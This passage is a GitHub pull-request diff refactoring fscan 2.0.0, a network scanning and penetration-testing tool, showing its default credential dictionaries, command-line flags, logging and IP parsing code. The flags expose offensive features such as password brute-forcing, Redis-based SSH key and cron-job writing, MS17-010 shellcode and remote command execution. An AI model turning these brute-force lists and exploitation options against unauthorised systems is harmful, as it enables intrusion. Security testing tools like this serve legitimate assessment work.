Merge pull request #395 from ZacharyZcR/main

Fscan 2.0.0 完整代码重构、新增本地信息搜集插件
This commit is contained in:
影舞者 2024-12-19 23:02:18 +08:00 committed by GitHub
commit 40b6dbcd1c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
69 changed files with 7575 additions and 5155 deletions

2
.gitignore vendored
View File

@ -1 +1,3 @@
result.txt result.txt
main
.idea

View File

@ -1,6 +1,6 @@
package common package Common
var version = "1.8.4" var version = "2.0.0"
var Userdict = map[string][]string{ var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"}, "mysql": {"root", "mysql"},
@ -14,33 +14,7 @@ var Userdict = map[string][]string{
} }
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"}
var PORTList = map[string]int{
"ftp": 21,
"ssh": 22,
"findnet": 135,
"netbios": 139,
"smb": 445,
"mssql": 1433,
"oracle": 1521,
"mysql": 3306,
"rdp": 3389,
"psql": 5432,
"redis": 6379,
"fcgi": 9000,
"mem": 11211,
"mgo": 27017,
"ms17010": 1000001,
"cve20200796": 1000002,
"web": 1000003,
"webonly": 1000003,
"webpoc": 1000003,
"smb2": 1000004,
"wmiexec": 1000005,
"all": 0,
"portscan": 0,
"icmp": 0,
"main": 0,
}
var PortGroup = map[string]string{ var PortGroup = map[string]string{
"ftp": "21", "ftp": "21",
"ssh": "22", "ssh": "22",
@ -69,13 +43,6 @@ var IsSave = true
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
type PocInfo struct { type PocInfo struct {
Target string Target string
PocName string PocName string

93
Common/Flag.go Normal file
View File

@ -0,0 +1,93 @@
package Common
import (
"flag"
)
func Banner() {
banner := `
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: ` + version + `
`
print(banner)
}
func Flag(Info *HostInfo) {
Banner()
// 目标配置
flag.StringVar(&Info.Host, "h", "", "目标主机IP例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24")
flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389")
flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445")
// 认证配置
flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password")
flag.StringVar(&Username, "user", "", "用户名")
flag.StringVar(&Password, "pwd", "", "密码")
flag.StringVar(&Domain, "domain", "", "域名(用于SMB)")
flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)")
// 扫描配置
flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh")
flag.IntVar(&Threads, "t", 600, "线程数量")
flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)")
flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量")
flag.BoolVar(&NoPing, "np", false, "禁用存活探测")
flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP")
flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)")
// 文件配置
flag.StringVar(&HostFile, "hf", "", "主机列表文件")
flag.StringVar(&Userfile, "userf", "", "用户名字典")
flag.StringVar(&Passfile, "pwdf", "", "密码字典")
flag.StringVar(&Hashfile, "hashf", "", "Hash字典")
flag.StringVar(&PortFile, "portf", "", "端口列表文件")
// Web配置
flag.StringVar(&URL, "u", "", "目标URL")
flag.StringVar(&UrlFile, "uf", "", "URL列表文件")
flag.StringVar(&Cookie, "cookie", "", "设置Cookie")
flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间")
flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理")
flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)")
// POC配置
flag.StringVar(&PocPath, "pocpath", "", "POC文件路径")
flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic")
flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描")
flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key")
flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证")
flag.IntVar(&PocNum, "num", 20, "POC并发数")
// Redis利用配置
flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件")
flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务")
flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测")
// 暴力破解配置
flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破")
flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数")
// 其他配置
flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径")
flag.StringVar(&Hash, "hash", "", "Hash值")
flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode")
flag.BoolVar(&IsWmi, "wmi", false, "启用WMI")
// 输出配置
flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件")
flag.BoolVar(&TmpSave, "no", false, "禁用结果保存")
flag.BoolVar(&Silent, "silent", false, "静默扫描模式")
flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出")
flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出")
flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔")
flag.Parse()
}

View File

@ -1,4 +1,4 @@
package common package Common
import ( import (
"encoding/json" "encoding/json"
@ -12,49 +12,60 @@ import (
"time" "time"
) )
var Num int64 // 记录扫描状态的全局变量
var End int64 var (
var Results = make(chan *string) Num int64 // 总任务数
var LogSucTime int64 End int64 // 已完成数
var LogErrTime int64 Results = make(chan *string) // 结果通道
var WaitTime int64 LogSucTime int64 // 最近成功日志时间
var Silent bool LogErrTime int64 // 最近错误日志时间
var Nocolor bool WaitTime int64 // 等待时间
var JsonOutput bool Silent bool // 静默模式
var LogWG sync.WaitGroup Nocolor bool // 禁用颜色
JsonOutput bool // JSON输出
LogWG sync.WaitGroup // 日志同步等待组
)
// JsonText JSON输出的结构体
type JsonText struct { type JsonText struct {
Type string `json:"type"` Type string `json:"type"` // 消息类型
Text string `json:"text"` Text string `json:"text"` // 消息内容
} }
// init 初始化日志配置
func init() { func init() {
log.SetOutput(io.Discard) log.SetOutput(io.Discard)
LogSucTime = time.Now().Unix() LogSucTime = time.Now().Unix()
go SaveLog() go SaveLog()
} }
// LogSuccess 记录成功信息
func LogSuccess(result string) { func LogSuccess(result string) {
LogWG.Add(1) LogWG.Add(1)
LogSucTime = time.Now().Unix() LogSucTime = time.Now().Unix()
Results <- &result Results <- &result
} }
// SaveLog 保存日志信息
func SaveLog() { func SaveLog() {
for result := range Results { for result := range Results {
// 打印日志
if !Silent { if !Silent {
if Nocolor { if Nocolor {
fmt.Println(*result) fmt.Println(*result)
} else { } else {
if strings.HasPrefix(*result, "[+] InfoScan") { switch {
case strings.HasPrefix(*result, "[+] 信息扫描"):
color.Green(*result) color.Green(*result)
} else if strings.HasPrefix(*result, "[+]") { case strings.HasPrefix(*result, "[+]"):
color.Red(*result) color.Red(*result)
} else { default:
fmt.Println(*result) fmt.Println(*result)
} }
} }
} }
// 保存到文件
if IsSave { if IsSave {
WriteFile(*result, Outputfile) WriteFile(*result, Outputfile)
} }
@ -62,17 +73,20 @@ func SaveLog() {
} }
} }
// WriteFile 写入文件
func WriteFile(result string, filename string) { func WriteFile(result string, filename string) {
// 打开文件
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
if err != nil { if err != nil {
fmt.Printf("Open %s error, %v\n", filename, err) fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
return return
} }
defer fl.Close()
if JsonOutput { if JsonOutput {
var scantype string // 解析JSON格式
var text string var scantype, text string
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
//找到第二个空格的位置
index := strings.Index(result[4:], " ") index := strings.Index(result[4:], " ")
if index == -1 { if index == -1 {
scantype = "msg" scantype = "msg"
@ -85,47 +99,51 @@ func WriteFile(result string, filename string) {
scantype = "msg" scantype = "msg"
text = result text = result
} }
// 构造JSON对象
jsonText := JsonText{ jsonText := JsonText{
Type: scantype, Type: scantype,
Text: text, Text: text,
} }
// 序列化JSON
jsonData, err := json.Marshal(jsonText) jsonData, err := json.Marshal(jsonText)
if err != nil { if err != nil {
fmt.Println(err) fmt.Printf("[!] JSON序列化失败: %v\n", err)
jsonText = JsonText{ jsonText = JsonText{
Type: "msg", Type: "msg",
Text: result, Text: result,
} }
jsonData, err = json.Marshal(jsonText) jsonData, _ = json.Marshal(jsonText)
if err != nil {
fmt.Println(err)
jsonData = []byte(result)
}
} }
jsonData = append(jsonData, []byte(",\n")...) jsonData = append(jsonData, []byte(",\n")...)
_, err = fl.Write(jsonData) _, err = fl.Write(jsonData)
} else { } else {
_, err = fl.Write([]byte(result + "\n")) _, err = fl.Write([]byte(result + "\n"))
} }
fl.Close()
if err != nil { if err != nil {
fmt.Printf("Write %s error, %v\n", filename, err) fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err)
} }
} }
// LogError 记录错误信息
func LogError(errinfo interface{}) { func LogError(errinfo interface{}) {
if WaitTime == 0 { if WaitTime == 0 {
fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
LogErrTime = time.Now().Unix() LogErrTime = time.Now().Unix()
} }
} }
// CheckErrs 检查是否为已知错误
func CheckErrs(err error) bool { func CheckErrs(err error) bool {
if err == nil { if err == nil {
return false return false
} }
// 已知错误列表
errs := []string{ errs := []string{
"closed by the remote host", "too many connections", "closed by the remote host", "too many connections",
"i/o timeout", "EOF", "A connection attempt failed", "i/o timeout", "EOF", "A connection attempt failed",
@ -136,10 +154,14 @@ func CheckErrs(err error) bool {
"invalid packet size", "invalid packet size",
"bad connection", "bad connection",
} }
// 检查错误是否匹配
errLower := strings.ToLower(err.Error())
for _, key := range errs { for _, key := range errs {
if strings.Contains(strings.ToLower(err.Error()), strings.ToLower(key)) { if strings.Contains(errLower, strings.ToLower(key)) {
return true return true
} }
} }
return false return false
} }

392
Common/Parse.go Normal file
View File

@ -0,0 +1,392 @@
package Common
import (
"bufio"
"encoding/hex"
"flag"
"fmt"
"net/url"
"os"
"strconv"
"strings"
)
func Parse(Info *HostInfo) {
ParseUser()
ParsePass(Info)
ParseInput(Info)
ParseScantype(Info)
}
// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取
func ParseUser() error {
// 如果未指定用户名和用户名文件,直接返回
if Username == "" && Userfile == "" {
return nil
}
var usernames []string
// 处理直接指定的用户名列表
if Username != "" {
usernames = strings.Split(Username, ",")
fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames))
}
// 从文件加载用户名列表
if Userfile != "" {
users, err := Readfile(Userfile)
if err != nil {
return fmt.Errorf("读取用户名文件失败: %v", err)
}
// 过滤空用户名
for _, user := range users {
if user != "" {
usernames = append(usernames, user)
}
}
fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users))
}
// 去重处理
usernames = RemoveDuplicate(usernames)
fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames))
// 更新用户字典
for name := range Userdict {
Userdict[name] = usernames
}
return nil
}
// ParsePass 解析密码、哈希值、URL和端口配置
func ParsePass(Info *HostInfo) error {
// 处理直接指定的密码列表
var pwdList []string
if Password != "" {
passes := strings.Split(Password, ",")
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList))
}
// 从文件加载密码列表
if Passfile != "" {
passes, err := Readfile(Passfile)
if err != nil {
return fmt.Errorf("读取密码文件失败: %v", err)
}
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes))
}
// 处理哈希文件
if Hashfile != "" {
hashes, err := Readfile(Hashfile)
if err != nil {
return fmt.Errorf("读取哈希文件失败: %v", err)
}
validCount := 0
for _, line := range hashes {
if line == "" {
continue
}
if len(line) == 32 {
Hashs = append(Hashs, line)
validCount++
} else {
fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line)
}
}
fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount)
}
// 处理直接指定的URL列表
if URL != "" {
urls := strings.Split(URL, ",")
tmpUrls := make(map[string]struct{})
for _, url := range urls {
if url != "" {
if _, ok := tmpUrls[url]; !ok {
tmpUrls[url] = struct{}{}
Urls = append(Urls, url)
}
}
}
fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls))
}
// 从文件加载URL列表
if UrlFile != "" {
urls, err := Readfile(UrlFile)
if err != nil {
return fmt.Errorf("读取URL文件失败: %v", err)
}
tmpUrls := make(map[string]struct{})
for _, url := range urls {
if url != "" {
if _, ok := tmpUrls[url]; !ok {
tmpUrls[url] = struct{}{}
Urls = append(Urls, url)
}
}
}
fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls))
}
// 从文件加载端口列表
if PortFile != "" {
ports, err := Readfile(PortFile)
if err != nil {
return fmt.Errorf("读取端口文件失败: %v", err)
}
var newport strings.Builder
for _, port := range ports {
if port != "" {
newport.WriteString(port)
newport.WriteString(",")
}
}
Ports = newport.String()
fmt.Printf("[*] 已从文件加载端口配置\n")
}
return nil
}
// Readfile 读取文件内容并返回非空行的切片
func Readfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err)
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行读取文件内容
lineCount := 0
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
content = append(content, text)
lineCount++
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err)
return nil, err
}
fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount)
return content, nil
}
// ParseInput 解析和验证输入参数配置
func ParseInput(Info *HostInfo) error {
// 检查必要的目标参数
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
fmt.Println("[!] 未指定扫描目标")
flag.Usage()
return fmt.Errorf("必须指定扫描目标")
}
// 配置基本参数
if BruteThread <= 0 {
BruteThread = 1
fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread)
}
if TmpSave {
IsSave = false
fmt.Println("[*] 已启用临时保存模式")
}
// 处理端口配置
if Ports == DefaultPorts {
Ports += "," + Webport
}
if PortAdd != "" {
if strings.HasSuffix(Ports, ",") {
Ports += PortAdd
} else {
Ports += "," + PortAdd
}
fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd)
}
// 处理用户名配置
if UserAdd != "" {
users := strings.Split(UserAdd, ",")
for dict := range Userdict {
Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict])
}
fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd)
}
// 处理密码配置
if PassAdd != "" {
passes := strings.Split(PassAdd, ",")
Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords)
fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd)
}
// 处理Socks5代理配置
if Socks5Proxy != "" {
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
} else {
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
_, err := url.Parse(Socks5Proxy)
if err != nil {
return fmt.Errorf("Socks5代理格式错误: %v", err)
}
NoPing = true
fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy)
}
// 处理HTTP代理配置
if Proxy != "" {
switch Proxy {
case "1":
Proxy = "http://127.0.0.1:8080"
case "2":
Proxy = "socks5://127.0.0.1:1080"
default:
if !strings.Contains(Proxy, "://") {
Proxy = "http://127.0.0.1:" + Proxy
}
}
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
return fmt.Errorf("不支持的代理类型")
}
_, err := url.Parse(Proxy)
if err != nil {
return fmt.Errorf("代理格式错误: %v", err)
}
fmt.Printf("[*] 使用代理: %s\n", Proxy)
}
// 处理Hash配置
if Hash != "" {
if len(Hash) != 32 {
return fmt.Errorf("Hash长度必须为32位")
}
Hashs = append(Hashs, Hash)
}
// 处理Hash列表
Hashs = RemoveDuplicate(Hashs)
for _, hash := range Hashs {
hashByte, err := hex.DecodeString(hash)
if err != nil {
fmt.Printf("[!] Hash解码失败: %s\n", hash)
continue
}
HashBytes = append(HashBytes, hashByte)
}
Hashs = []string{}
return nil
}
// ParseScantype 解析扫描类型并设置对应的端口
func ParseScantype(Info *HostInfo) error {
// 先处理特殊扫描类型
specialTypes := map[string]string{
"hostname": "135,137,139,445",
"webonly": Webport,
"webpoc": Webport,
"web": Webport,
"portscan": DefaultPorts + "," + Webport,
"main": DefaultPorts,
"all": DefaultPorts + "," + Webport,
"icmp": "", // ICMP不需要端口
}
// 如果是特殊扫描类型
if customPorts, isSpecial := specialTypes[Scantype]; isSpecial {
if Scantype != "all" && Ports == DefaultPorts+","+Webport {
Ports = customPorts
}
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports)
return nil
}
// 检查是否是注册的插件类型
plugin, validType := PluginManager[Scantype]
if !validType {
showmode()
return fmt.Errorf("无效的扫描类型: %s", Scantype)
}
// 如果是插件扫描且使用默认端口配置
if Ports == DefaultPorts+","+Webport {
if plugin.Port > 0 {
Ports = strconv.Itoa(plugin.Port)
}
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports)
}
return nil
}
// showmode 显示所有支持的扫描类型
func showmode() {
fmt.Println("[!] 指定的扫描类型不存在")
fmt.Println("[*] 支持的扫描类型:")
// 显示常规服务扫描类型
fmt.Println("\n[+] 常规服务扫描:")
for name, plugin := range PluginManager {
if plugin.Port > 0 && plugin.Port < 1000000 {
fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port)
}
}
// 显示特殊漏洞扫描类型
fmt.Println("\n[+] 特殊漏洞扫描:")
for name, plugin := range PluginManager {
if plugin.Port >= 1000000 || plugin.Port == 0 {
fmt.Printf(" - %-10s\n", name)
}
}
// 显示其他扫描类型
fmt.Println("\n[+] 其他扫描类型:")
specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"}
for _, name := range specialTypes {
fmt.Printf(" - %s\n", name)
}
os.Exit(0)
}

380
Common/ParseIP.go Normal file
View File

@ -0,0 +1,380 @@
package Common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
var ParseIPErr = errors.New("主机解析错误\n" +
"支持的格式: \n" +
"192.168.1.1 (单个IP)\n" +
"192.168.1.1/8 (8位子网)\n" +
"192.168.1.1/16 (16位子网)\n" +
"192.168.1.1/24 (24位子网)\n" +
"192.168.1.1,192.168.1.2 (IP列表)\n" +
"192.168.1.1-192.168.255.255 (IP范围)\n" +
"192.168.1.1-255 (最后一位简写范围)")
// ParseIP 解析IP地址配置,支持从主机字符串和文件读取
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (192.168.0.0/16:80)
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = ParseIPs(host)
Ports = hostport[1]
fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports)
}
} else {
// 解析主机地址
hosts = ParseIPs(host)
// 从文件加载额外主机
if filename != "" {
fileHosts, err := Readipfile(filename)
if err != nil {
fmt.Printf("[!] 读取主机文件失败: %v\n", err)
} else {
hosts = append(hosts, fileHosts...)
fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts))
}
}
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
excludeHosts := ParseIPs(nohosts[0])
if len(excludeHosts) > 0 {
// 使用map存储有效主机
temp := make(map[string]struct{})
for _, host := range hosts {
temp[host] = struct{}{}
}
// 删除需要排除的主机
for _, host := range excludeHosts {
delete(temp, host)
}
// 重建主机列表
var newHosts []string
for host := range temp {
newHosts = append(newHosts, host)
}
hosts = newHosts
sort.Strings(hosts)
fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts))
}
}
// 去重处理
hosts = RemoveDuplicate(hosts)
fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ParseIPErr
}
return hosts, nil
}
func ParseIPs(ip string) (hosts []string) {
if strings.Contains(ip, ",") {
IPList := strings.Split(ip, ",")
var ips []string
for _, ip := range IPList {
ips = parseIP(ip)
hosts = append(hosts, ips...)
}
} else {
hosts = parseIP(ip)
}
return hosts
}
// parseIP 解析不同格式的IP地址,返回解析后的IP列表
func parseIP(ip string) []string {
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
// 处理常用内网IP段简写
case ip == "192":
return parseIP("192.168.0.0/8")
case ip == "172":
return parseIP("172.16.0.0/12")
case ip == "10":
return parseIP("10.0.0.0/8")
// 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描
case strings.HasSuffix(ip, "/8"):
return parseIP8(ip)
// 处理CIDR格式 (/24 /16 /8等)
case strings.Contains(ip, "/"):
return parseIP2(ip)
// 处理域名 - 保留域名格式
case reg.MatchString(ip):
return []string{ip}
// 处理IP范围格式 (192.168.1.1-192.168.1.100)
case strings.Contains(ip, "-"):
return parseIP1(ip)
// 处理单个IP地址
default:
testIP := net.ParseIP(ip)
if testIP == nil {
fmt.Printf("[!] 无效的IP地址格式: %s\n", ip)
return nil
}
return []string{ip}
}
}
// parseIP2 解析CIDR格式的IP地址段
func parseIP2(host string) []string {
// 解析CIDR
_, ipNet, err := net.ParseCIDR(host)
if err != nil {
fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err)
return nil
}
// 转换为IP范围并解析
ipRange := IPRange(ipNet)
hosts := parseIP1(ipRange)
fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange)
return hosts
}
// parseIP1 解析IP范围格式的地址
func parseIP1(ip string) []string {
ipRange := strings.Split(ip, "-")
testIP := net.ParseIP(ipRange[0])
var allIP []string
// 处理简写格式 (192.168.111.1-255)
if len(ipRange[1]) < 4 {
endNum, err := strconv.Atoi(ipRange[1])
if testIP == nil || endNum > 255 || err != nil {
fmt.Printf("[!] IP范围格式错误: %s\n", ip)
return nil
}
// 解析IP段
splitIP := strings.Split(ipRange[0], ".")
startNum, err1 := strconv.Atoi(splitIP[3])
endNum, err2 := strconv.Atoi(ipRange[1])
prefixIP := strings.Join(splitIP[0:3], ".")
if startNum > endNum || err1 != nil || err2 != nil {
fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum)
return nil
}
// 生成IP列表
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
}
fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum)
} else {
// 处理完整IP范围格式 (192.168.111.1-192.168.112.255)
splitIP1 := strings.Split(ipRange[0], ".")
splitIP2 := strings.Split(ipRange[1], ".")
if len(splitIP1) != 4 || len(splitIP2) != 4 {
fmt.Printf("[!] IP格式错误: %s\n", ip)
return nil
}
// 解析起始和结束IP
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitIP1[i])
ip2, err2 := strconv.Atoi(splitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1])
return nil
}
start[i], end[i] = ip1, ip2
}
// 将IP转换为数值并生成范围内的所有IP
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." +
